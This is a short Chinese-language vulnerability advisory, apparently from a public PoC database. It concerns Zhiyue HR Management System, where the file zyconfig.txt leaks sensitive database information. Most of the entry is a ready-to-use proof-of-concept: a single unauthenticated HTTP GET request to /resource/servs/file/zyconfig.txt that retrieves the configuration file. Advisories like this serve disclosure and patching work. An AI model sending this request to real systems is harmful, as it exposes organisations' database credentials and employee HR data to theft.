智跃人力资源管理系统 zyconfig.txt 存在敏感信息泄露漏洞

2025-11-10 智跃人力资源管理系统 PoC Public

Description

智跃人力资源管理系统是东莞市智跃软件科技有限公司研发的一个为企业提供数字化管理解决方案软件系统,它集成了人事、考勤、薪资等多个功能模块,智跃人力资源管理系统zyconfig.txt 敏感信息泄露,攻击者可获取系统数据库敏感信息

PoC

GET /resource/servs/file/zyconfig.txt HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities